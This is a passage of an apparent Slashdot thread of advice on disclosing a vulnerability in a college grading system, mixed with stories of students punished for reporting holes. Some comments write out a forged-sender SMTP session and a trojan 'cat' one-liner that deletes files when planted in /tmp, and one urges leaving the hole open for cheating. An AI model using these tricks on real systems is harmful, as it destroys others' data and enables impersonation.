    If for some reason the vendor does not respond in a reasonable amount of time, post the vulnerability on the Bug Traq Mailing list www.securityfocus.com many software bugs are posted here along with their fixes. State that the vendor failed to contact you regarding a fix.

    Use the media sparingly, if they are rude to you - let them have it. Considering the debacle with Diebold and the voting software the media would certainly like to have a story about automated grading being haxered.

    I'd suggest remaining anonymous during this process. No one likes to be told their software sucks :-)

    Good Luck

  217. Law School. by Irvu · · Score: 2, Insightful

    If your College/University has a law school then you might be able to look there for advice. If the university has such a school then it is possible that they may have one or two professors who can advise you in this matter. Unlike the School's Legal staff they are not bound to protect the school in the same way.

    I would still be wary when approaching them, you don't want one of them to cause trouble any more than any other. But it might be a good direction to turn.

  218. Could be dangerous by DeVilla · · Score: 1

    I don't know what your school is like (and I would consider such things on a school by school basis) but I know my brother was once accused of hacking when he showed his employer that you can get through windows 95's password prompt by clicking cancel. I'm guess the network admin didn't want to admit to having been so inept.

    Edd

  219. Come on, it's a college... by wirelessbuzzers · · Score: 1
    Come on, you must be kidding me. It's a college. There will be a public terminal SOMEWHERE, and there's not much they can do if you send from there, especially if it's via forged SMTP or anonymous mailer. It doesn't have to hide you IP if you use a public terminal accessable to any student. And no, most keyboards do not leave fingerprints.

    At worst, you can boot a terminal in single-user or with Knoppix and
    telnet smtp.yourcollege.edu 25
    HELO anonymouscoward
    MAIL FROM: grades@exploit.com
    RCPT TO: dean
    DATA
    Subject: Grades Exploit
    I've discovered an exploit in the grades system...
    [details]
    If you need more information, post and sign a notice that you won't bust me [state more legally], and I'll reveal my identity.

    Sincerely,
    [MD5(your name + long random password)]
    .
    --
    I hereby place the above post in the public domain.
    1. Re:Come on, it's a college... by vsprintf · · Score: 1

      Know someone with . in their path?
      echo "#!/bin/rm -f" > cat; chmod a+x cat

      Okay, I give up. What does that do if their bin directory is not writeable by world (and you don't find many 777 directories by default)?

    2. Re:Come on, it's a college... by vsprintf · · Score: 1

      Sorry, never mind. I've been up too long, which is something I'm going to cure right now. Planting land mines is not funny nor conducive to continued employment, but YMMV.

    3. Re:Come on, it's a college... by wirelessbuzzers · · Score: 1
      Well, if someone really dumb had . before /bin in their path, and you dropped this into a public directory they used (say /tmp), then creating this modified cat script would change the command
      cat foo bar baz
      into
      rm -f cat foo bar baz
      thereby removing whatever they wanted to see, along with the script itself. This would be very puzzling, as several files would have disappeared for no apparent reason. Of course, this bit of deviltry doesn't work unless . is first, but you can change it from cat to cta and hope they make a typo.
      --
      I hereby place the above post in the public domain.
  220. Been There, Got Screwed by wbav · · Score: 4, Interesting

    Okay, so two stories, one from Jr. High, one from Highschool.


    In Jr. High, someone was giving out the admin password pass FoolProof (a mac protection software that was incredably simple to bypass at the time.) Anyways, I tried to inform the IT guy, and he blew me off, saying that I didn't really know the password. So I put on a little app that made the computer belch.

    Someone snitched, and I ended up in the principal's office. I tried to plead my case, it wasn't like I hadn't tried to do the right thing, and when they wouldn't listen I gave them something they couldn't ignore. Detention 4 weeks.


    I should have learned from my first experince but I didn't. In Highschool, the network was completely unsecure. You could print to any class room across the whole school district, and everything was named quite nicely. Once again, I was blown off when I tried to say this was a bad thing.

    Not only were all the printers there, but a number of computers were open with read access to everything. So I opened a network connection to every shared disk along the network and started a find for everything. The IT guy in the lab looked over my shoulder and asked what I was doing. Detention again, this time for "Slowing the hard drives down."

    If only more people got into trouble for changing the laws of phyics.

    --

    =================
    Unix is very user friendly, it's just picky about who its friends are.
    1. Re:Been There, Got Screwed by Anonymous Coward · · Score: 0

      Your problem is that most high schools and especially junior high schools don't have the money to hire people who actually know things, so they settle for people who seem to have just the bare necessity of knowledge to keep the network mostly working.
      Your average 'IT guy' who works for the computer labs at your school is just somebody who took a few computer courses at night school and truly knows bleep-all about what they are doing.
      You see for the majority of these guys, they don't want these security holes fixed. They want the computers to crash, so they can waddle over to them and slip in their 'master copy' CD (which is just an image of a generic clone system) and reimage the system. Thus having something else to do other than watching the cameras they have setup in the girls change rooms.
      Trust me, I know how insecure most of these systems are.

  221. Anonymous is fine - so tell CERT by Alan+Cox · · Score: 1

    If you send CERT anonymous mail it is in their interest to handle the problem and it is in their interest not to try and figure out who you are.

    CERT however only really works out well if the vendors will co-operate. It is nevertheless a responsible starting point, and if you want to motivate them be sure to tell them you have witnesses that you told them and of the date you told them.

    Also understand that most college people won't want to know. They have what government likes to call "plausible deniability" if it comes out. If they've been provably told the system is insecure and then people hack grades and the values of degrees from that body go down then they get all upset about class action lawsuit issues.

  222. I've been in there.. by teval · · Score: 2, Insightful

    I've been in the same situation before.
    My school used to use RM (a supposedly security enhancing program) to keep people from using too much space and running every program they wanted to.
    I found several very critical bugs in it, that allowed me to do anything, change people's settings to browse and change things on the server. I told my comp. sci. teacher (this was highschool) and after hefty explaining, he watched over my shoulder as I proved it. With a little more tinkering I found other ways of getting in, and ultimately changing everything from schedules to marks. Most teachers understood and trusted me not to share this, and I didn't until they switched their systems.

    Except for one teacher.. who tried to get me kicked out. She is a comp. sci. teacher, though she has no clue what's going on. Started to accuse me of stealing, and of messing with the system. Thankfully nothing happened, because most other teachers knew me. School approached me and asked me what to use, I said use Linux, it's free, and waaay more secure then all this.

    They ended up using WindowsXP (and depleting most of the comp. sci. budget), with an addon called Visual Castle. Well.. I've found several bugs in it again, and I can see marks and change anything I want. I haven't.. and never intend to do so, and don't intend to tell anyone I can do this.

    My suggestion? clear your hands of it all, and forget about it. Not worth loosing your future over this, whatever they change, probably won't make much of a difference. There is always another bug, or misconfiguration lurking.

  223. Proving your identity by wirelessbuzzers · · Score: 1

    Including a PGP key is sort of overkill. Just include the hash of some random number, concatenated with your name. Your knowledge of that value proves your hand in the exploit. A key has basically no advantages over a hash in this case, as either could be changed by some party wishing to deny your involvement.

    If you really wanted to make sure you could prove your involvement (IMHO there is little point in this), you could mail it through a timestamping service (eg stamper@itconsult.co.uk); they will publish (and mail to you, if you specify an account; maybe Hotmail?) a signature that they remailed it on that date.

    --
    I hereby place the above post in the public domain.
  224. Solution by fizban · · Score: 1

    Anonymous letters work very well. First, send it to the developers with the problem and the solution. If they don't do anything in a reasonable amount of time, send it to the Deans. Then send it to the University President. Then send it to the press. If none of those work (which I doubt), file a civil complaint against the developers or take the matter to the police. That should put some fire under their arses.

    At all times, keep copies for your records to prove that you were acting as a good samaritan and that you were giving plenty of time for the problem to be addressed. This should cover your legal bases and the anonymity will protect you even more if someone gets into a litigation state of mind. I don't personally see any reason for litigation here, though. You aren't acting as a criminal, and there are whistleblower laws that, with the help of a good lawyer, could be used to protect you if it ever came to that point.

    --

    +1 Insightful, -1 Troll. What can I say, I'm an Insightful Troll.

  225. Walk away. Put the exploit down and walk away. by Anonymous Coward · · Score: 0

    The way things are now, you'd probably be best off if you forget the whole thing, delete all the exploit code, walk away, and never refer to this again.

    I don't recommend you actually do this, though. Actually, I don't have any recommendations at all. (I have to put this in to cover my own ass.)

    I'm not a lawyer, either.

  226. Even a fish wouldn't get caught... by karlandtanya · · Score: 1
    And you aren't after any 733t h4x0r glory.


    And you really want the admins to fix the problem.


    And you really do have a fix.


    Write a report. Save it as a plain text file!!! (I don't know what editor you use, but some windows products have a nasty habit of including some data you DID NOT WANT to be in your document!).


    tar up your exploit code and your suggested bugfix. You should send source, which, again can be plain text. If you must send compiled code, be careful as above.


    Email it to the person(s) responsible for the product. Start with the vendor. Give the vendor some time (30 days? whatever you think is appropriate), after which the customers will be notified. Indicate that this notification WILL take place on such and such a date, so they'd better have a plan in place if they don't want to be embarrassed.


    Repeat the process down the line. Next send a similar email to the IT department of the university, telling them you'll email the administration within 30 days and this is their fair warning and chance to save face.


    Next, university faculty.


    Finally the public. This last one is solely to motivate the people in charge to get off their butts.


    Follow Good Security Practices when you do this. This does not mean using private idaho, mixmaster, or a hotmail account from a public terminal. Those tools are useful, and I encourage you to look into them. But...Good security practices mean Keep your farkin' mouth shut.. Don't brag about this to anyone.


    If you seek legal counsel or public advice on this, remember phrases like "Hypothetically, if someone..." "It is my opinion that the law should allow..." Provide no traceable details. Never say "I would", "I did", "I could", "I know"...


    If you don't rat yourself out, you'll be fine. You'll accomplish your ethically laudable goal, and you won't suffer retribution for doing good.

    D'oh! Maybe you already blew it. Hope the account you posted this with is not traceable!

    --
    "Reality is that which, when you stop believing in it, it doesn't go away." - Philip K. Dick
  227. What do you do....... by vertical_98 · · Score: 1

    SHOOT THE HOSTAGE!

    Everyone knows that.

    Vertical

    --
    72 CD D7 52 D0 7E D8 47 44 91 D5 84 D1 59 F1 A9-This is my 128bit integer. There are many like it, but this one is mine.
  228. Timely news from El Reg by symbolset · · Score: 2, Insightful

    This story from The Register records what can go awry with a plan to inform someone of their security weaknesses.
    The short of it: The lad's served his 18 months and is appealing to rescue his reputation.
    Be Careful.

    --
    Help stamp out iliturcy.
  229. I work in the private academic sector.. by Xerithane · · Score: 1

    If you want, email them to me. Chances are either we work with the software in question (if it's the leading college software application, than we do) or one of my bosses has direct experience with it. I'll make sure they go through the proper channels.

    --
    Dacels Jewelers can't be trusted.
  230. tell your professor? by The+Kow · · Score: 1

    I've probably posted this too late for anyone to notice, but it wouldn't be a bad idea to simply tell your professor, who wouldn't feel inclined to sue, explain to him why you didn't tell the company themselves, and request that he tell the company himself, and that he suggest he was told anonymously, so that he can't be forced to implicate you (if they do get sue-happy, they might subpoena him).

    --
    Moo
  231. CERT by crmartin · · Score: 1

    Try cert@cert.org -- they commonly act as honest brokers on this kind of thing.

  232. dont do it! by aztechClanIII · · Score: 1

    if you tell them, they will lash out at you in ways you can't imagine. They will fuck you over. You are better off staying quiet, and laughing at their incompetance.

    ~

  233. I hate Banner. by oneiros27 · · Score: 1

    I had actually labeled my chair 'Joe hates Banner' at one point. My final breaking point was after the 4.x upgrade, when I had asked the SCT contractors to make a change to their system -- wrap some tags around the output, so that I could make all of the info text italic (wasn't my idea...the registrar wanted it). I was told to change the data, rather than the program, so they wouldn't have to keep changing it every upgrade.

    Unfortunately, the standard SCT upgrade procedures are to completely wipe the existing database, replacing it with what they call 'SEED', and then reapply every change made. This includes changes made through Web Tailor, which would be all of the changes that I spent a week making.

    If the problem is Banner, however, that's more than just a student issue, as it also handles salary information at some places.

    Oh...and if it's not Blackboard or Banner, it might be Prometheus, which was bought by Blackboard last year.

    --
    Build it, and they will come^Hplain.
    1. Re:I hate Banner. by Sabalon · · Score: 1

      It's a little better now - with v5 they did something to have local and baseline versions of the data for stuff in web tailor...so now it just overwrites half of your stuff and leaves the other half stranded in other tables.

      At least that's how I remember it. Our Banner Web Server is named after a prison because even though I don't deal with it daily anymore, it is something I can't seem to escape from.

  234. Get a CS professor's help by ChaosDiscord · · Score: 1

    You've probably got at least one CS professor on campus who at least dabbles in security. If you're lucky, you'll find one who specializes in it. Talk with them. They'll know about safely making security vulnerability announcements. Heck, they may encourage you to write up a paper on the vulnerability (perhaps after it has been fixed).

  235. post it in 2600 by Anonymous Coward · · Score: 0

    Under the current climate (thanks to the DMCA), you should release this to the students who use the system.

  236. Don't give up anonymity by Anonymous Coward · · Score: 0

    I'm writing with sincere advice to not give up anonymity. I was a senior @ Phillips Exeter Academy in the beginning of the 2001-2002 school year. Exeter is one of the highest reputed and elite boarding high schools in the world. While I was there, the incompetant IT department screwed up their switch configuration so bad that for months it was as if they were running hubs. I discovered the problem innocently, I am to this day a White Hat, I was testing a daemon I was writing, and used ngrep. Since I had no other open connections and just needed a quick test, I did not specify a filter for libpcap, expecting to see maybe one Windows Networking broadcast. I started seeing SAT scores, medical information, college recomendations, personal E-Mail, payroll, not to mention passwords flying down my screen. I made the mistake of coming forward and reporting the problem to the principal of my institution. I left under a medical leave a couple months later after being unfairly targetted and having my network activity selectively investigated, my privacy violated. Throughout the whole Discipline process the school acted unfairly. I was not allowed to present my case to the D.C., The charge against me was changed after I handed in my written narrative of the incident, the only evidence I was allowed to submit. My Dorm Head recommended 'No Action,' or basically to throw out the case. I had strong recommendations from the Computer Science Department and one Math faculty, also, to throw out the case. I was a cohead of tech. for the Student Councel, and had won the C.S. department's highest prize.
    It was only too late that I realized fairness and common sense had nothing to do with the case. It was entirely political. The IT department there has taken fire for years, and for good reason, the head of the department was amazed when I showed her a traceroute, she had never seen it before, and had no grasp of any of the critical IT concepts: subnetting, routing, NAT, etc.
    I had made them look incompetant, and even dangerous. Their only way out was to play the White Knights, haunted by an evil hacker. If I was just an unethical hacker violating the rules, then they would be good guys by opposite association. People would be slower to hold them responsible for the problem, and faster to offer them sympothy. I was found guilty, but not expelled. However, in order to pass 'review' I would have had to write a letter saying I was wrong and had learned my lesson. I left the academy the day after the case, never to return to class, never to receive the covetted Exeter Diploma, and never to write that mother******* letter. School life at boarding schools and colleges is a political world, and many of the same people who preech justice, democracy and ethical behavior are simply hypocrites.
    It is also worth noting the problem went unfixed for at least 3 months after I had left. This, if anything, proves the incompetance of the IT staff there.
    In hindsight, I should not have made myself known, or better yet, not have matriculated to such an institution in the first place.
    I do not want to seem angry or spiteful, but I have seen this kind of thing happen over and over again to fellow programmers at schools throughout the U.S.
    What you do with the information is up to you, you might want to consider finding an open, unlogged, SMTP relay and sending a brief description of the problem and your exploit code to the company that wrote the software, and leaving your school out of it. Eventually the patches will probably trickle down to your institution.
    If you do decide to go forward, and they try to screw you, remember that no school can ruin your life, and no diploma or degree is necessary in order to be succesful. I returned home to my public high school, graduated, and left college early into my freshman year. I am now the Sr. Systems Integration Engineer for a successful hosting and home automation LLC. I make more than those who I fought at Exeter 2 years ago, most of whom are still there.
    Just remember, people in this industry hav

  237. An anonymous letter. by Penguin2212 · · Score: 1

    Mail an anonymous letter and a disk containing your proof of concept software to you techncal administrator. He or she would hopefully do something about it.

  238. WebCT commercialized by lordcorusa · · Score: 1

    I am sure it's been commercialized. Drexel University in Philadelphia, for one, has licensed it and is encouraging all faculty to use it for their classes.

    --
    The preceding comments reflect the author's personal opinion and are public domain, unless explicitly stated otherwise.
  239. Ethics by another_hack · · Score: 1

    I would use an anonymous remailer to send a complete document on this to the manufacturer; if you don't see a fix within two weeks, post it to slashdot. You might want to tell them in advance you are going to do that.

  240. Re:What is the goal? When they Read this ... by Anonymous Coward · · Score: 0

    Hmmm ...

    Well, I would imagine that SOMEONE at the business reads /. Amazed if they don't.

    Or what would happen if they were simply sent a link to these postings?

  241. keep it to yourself by Anonymous Coward · · Score: 0

    Who's to decide what's "ethical" and "moral." No sane professor would use such a system for something as important as large grades. Quizes and stuff hardly make up any of your grade at college, so if you take the time to discover this vulnerability and exploit it, you diserve it. However, if you're at some other school and find out about this because it's published, and your professor is stupid and hasn't upgraded to a fixed version, do you deserve to be able to exploit this? Don't release stuff like this, sypathize with your fellow man. There are stoned, drunk, creative coders who love life more than class and deserve easy quiz grades for their time spent hacking. Don't take it on yourself to have stuff like this fixed, just enjoy knowing you have skillz and the developer doesn't (a professor nonetheless... they should be 31337++). Screw the institutions, use your skillz to better yourself and leave the opportunity for someone else, in a different situation than you.

  242. dont bother by Anonymous Coward · · Score: 0

    why do you care? forget it

  243. Re:Do what Captain Kirk did! (OT) by Bingo+Foo · · Score: 1

    I agree that Kirk's cheating is probably not the thing to emulate here, but using fictional characters as role models and learning by example from fictional situations has been useful to societies for thousands of years. You just have to hope that the stories actually contain some transcendent truth. This was pretty reliable when the myths themselves were written for that purpose. Screenplays are iffy at best. I would not, for instance, take my daily dose of learnin' from an episode of Friends, but Star Trek still has more bankable life lessons than Slashdot.

    --
    taken! (by Davidleeroth) Thanks Bingo Foo!